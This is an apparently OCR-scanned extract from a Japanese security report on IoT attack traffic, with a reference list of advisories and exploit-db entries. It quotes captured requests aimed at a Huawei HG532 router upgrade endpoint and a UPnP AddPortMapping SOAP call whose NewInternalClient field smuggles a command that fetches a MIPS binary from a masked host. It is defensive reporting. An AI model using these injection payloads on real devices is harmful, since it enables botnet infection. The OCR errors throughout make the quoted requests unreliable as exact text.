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TCP/UDP/ICMP TOPS (2021401701 - 2021/03431)
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POST /ctrit/Devicelograde_1 HITPAT.1¢

Cortent -Lenath: 4301

Correct ion: keep-alivel

becept: #/%0

buthorization: Digest usernage="ds|f-config”, rea|m="HuaweiHomeGateway”, nonce="(masked>”,

ur| “fctrit/Devicelperade_1”, response="<masked>”, alzorithm="M05", gop="auth”, nc= UUUUUUU] cnonce= <masked>”}
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POST /picadesc.xml HITPA1.14

Host: <masked>:52869.

Conterit-Length: 6251

becept-Encoding: ezip, deflatel

S08PACt fon: urn: schemas-uprp-org:service:WANIPConnect ion: T#AddPortMapping 4
fecept: */%1

User-fzent: pvthon-requests/2.6.0 CPyvthon/2.6.6 Linu/2.6.32-754 .35, 1.216.x86_64.
Conrection: keep-alivel

1

<xml version="1.0" 21 ; ; .
zs:Enéelope simlns:s= http: /fschemas. ml soap. oredsoapdenve lope’” s:encodingStyle="htte: /Yschemas ol soap. ore/soap/encoding’ ">
=:Body>

Qg bddPortMacping smlnsiu="urn: schemas-uprp-ora: service: WANIPConrect ion: 171
<NewRemot eHost> 1

<MewRemoteHost>

<MNewExternalPort> 1

47450</Newbxcterna|Port> 4

<MewProtocol>

TCP</MewProtocol > 4

NewlrternalFort> 1L

44382</NewlnterralPort> 1

MewlnternalClient>d .

cd Atmpd;s weet http:/<masked>/mips -0 1 <MNewlnternalClient> 1
<MNewErabled> |

1</NewEnab led> 1

MNewPortMappinglescript ion> ¢

syncthingMNewPortMapp inglescript ion> L

<Newleaselurat ion> !

0</New_easeDurat ion>

</utbddPortMapping |

</3:Bodv> 1

</siErveloper )
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3. &&EXHE

(1) Service Name and Transport Protocol Port Number Registry

https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

(2) Huawei Router HG532 - Arbitrary Command Execution
https://www.exploit-db.com/exploits/43414

(3) TSUBAME Working Group
https://www.apcert.org/about/structure/tsubame-wg/index.html#Members

(4) voT v 7T a— RNV Rb—% OMasMEIc B3 2 R Wk
https://www.jpcert.or.jp/at/2012/at120017.html

(5) Mirai #ifE O EYLIHE)ZBE9 2 E R ML
https://www.jpcert.or.jp/at/2017/at170049.html

(6) NICTER &l L AR — K 2020
https://www.nict.go.jp/cyber/report/NICTER report 2020.pdf

(6) Realtek SDK - Miniigd UPnP SOAP Command Execution
https://www.exploit-db.com/exploits/37169
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